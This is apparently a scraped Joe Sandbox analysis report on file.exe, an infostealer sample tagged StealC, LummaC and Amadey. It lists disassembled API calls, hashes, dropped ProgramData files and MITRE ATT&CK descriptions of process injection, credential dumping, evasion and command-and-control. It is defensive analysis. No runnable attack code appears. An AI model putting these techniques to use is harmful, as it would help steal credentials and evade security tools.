Part of subcall function 6C58ACC0: TlsGetValue.KERNEL32 ref: 6C58AD3C
Part of subcall function 6C58ACC0: calloc.MOZGLUE(00000001,?), ref: 6C58AD8C
Part of subcall function 6C58ACC0: PR_Unlock.NSS3 ref: 6C58ADC0
Part of subcall function 6C58ACC0: PR_Unlock.NSS3 ref: 6C58AE8C
Part of subcall function 6C58ACC0: free.MOZGLUE(?), ref: 6C58AEAB

memcpy.VCRUNTIME140(6C6F3084,6C6F02AC,00000090), ref: 6C62AF94

Strings

SSL, xrefs: 6C62AF73

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: af03c3db58f4f2c51a9862d323e83b028ccccff36350b49992754ce75a96e1b9
Instruction ID: d206604aea0c83b33e2e720033918746316a3e29ae2fa20d978579460bce9833
Opcode Fuzzy Hash: af03c3db58f4f2c51a9862d323e83b028ccccff36350b49992754ce75a96e1b9
Instruction Fuzzy Hash: CB2140B2605A48AEDB00DF52B4C37127A73F742348F10512AC52A4BF28D73994499FDF

Function 6C580F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F1B

Part of subcall function 6C581370: GetSystemInfo.KERNEL32(?,?,?,?,6C580936,?,6C580F20,6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000), ref: 6C58138F

PR_NewLogModule.NSS3(clock,6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F25

Part of subcall function 6C581110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C580936,00000001,00000040), ref: 6C581130
Part of subcall function 6C581110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C580936,00000001,00000040), ref: 6C581142
Part of subcall function 6C581110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C580936,00000001), ref: 6C581167

Strings

clock, xrefs: 6C580F20

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7fced9702c8b4be7cd1a88fc86faf380a38c01b5b3ed43c4bed0600eafefd77e
Instruction ID: 3313fabfef4ec16a12add9256ed5d8de2815db92a744e480e3713f93cd8ac16e
Opcode Fuzzy Hash: 7fced9702c8b4be7cd1a88fc86faf380a38c01b5b3ed43c4bed0600eafefd77e
Instruction Fuzzy Hash: A8D022326011A8A2C2002257AC84FA7B3ACE7C32B9F000832E13801D004A2484DACB6E

Function 6C5F0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C5F0DF5
TlsGetValue.KERNEL32 ref: 6C5F0E2D
TlsGetValue.KERNEL32 ref: 6C5F0E58
TlsGetValue.KERNEL32 ref: 6C5F0E84

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 7367ac8da3561d6747a88c05ea4adac37b5bf54cbc3520d6f30103fdac2fd83c
Instruction ID: a845fda2d97e306a6e1e098d33f976728c7c0baf3409b4f64e6cd8f209aee136
Opcode Fuzzy Hash: 7367ac8da3561d6747a88c05ea4adac37b5bf54cbc3520d6f30103fdac2fd83c
Instruction Fuzzy Hash: EA3114B0645390CFDB04AF79CD846697BB4BF85308F094A6BD9A8C7A10DB309486CF86

Function 6C5F0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C592AF5,?,?,?,?,?,6C590A1B,00000000), ref: 6C5F0F1A
malloc.MOZGLUE(00000001), ref: 6C5F0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5F0F42
TlsGetValue.KERNEL32 ref: 6C5F0F5B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 1831b6a39162de423105f2fb30b5fa975e5a946d32e00d26355e859cab788eab
Instruction ID: 84444279d65826497227a9f4f7232f7fa5c0add1075f11814c5356b5cf7c24ae
Opcode Fuzzy Hash: 1831b6a39162de423105f2fb30b5fa975e5a946d32e00d26355e859cab788eab
Instruction Fuzzy Hash: 44012DB1A012909BFB10177EDD449667A6CEFD2258F040563DC28C2A11E730C816CAE6

Function 6C5A1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C5A1ECE
free.MOZGLUE(?), ref: 6C5A1EDF
free.MOZGLUE(?), ref: 6C5A1EEF
free.MOZGLUE(?), ref: 6C5A1EF5

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2c54a922c3a45d01c9aeb973aa11e098b0e679d2e43a6a69a253f8d4d376115d
Instruction ID: 04b41c9a3f2fbf83712037d71f5f2c7144554f0fce4a8223410a383934d86a8e
Opcode Fuzzy Hash: 2c54a922c3a45d01c9aeb973aa11e098b0e679d2e43a6a69a253f8d4d376115d
Instruction Fuzzy Hash: 39F0B4B1704111ABEB00DBABEC85D2B7B6CEF49294B040425EC1AC3A00E726F41186B5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGHJJDGHCBGDHIECBGID

C:\ProgramData\BKKJKFBKKECFHJKEBKEHIDAEBK

C:\ProgramData\CFCBKKKJ

C:\ProgramData\DHDAFBFCFHIDAKFIIEBAAEHIJD

C:\ProgramData\GHCAKKEGCAAFHJJJDBKJ

C:\ProgramData\HDBKFHIJ

C:\ProgramData\KJJJKFIIIJJJECAAEHDB

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre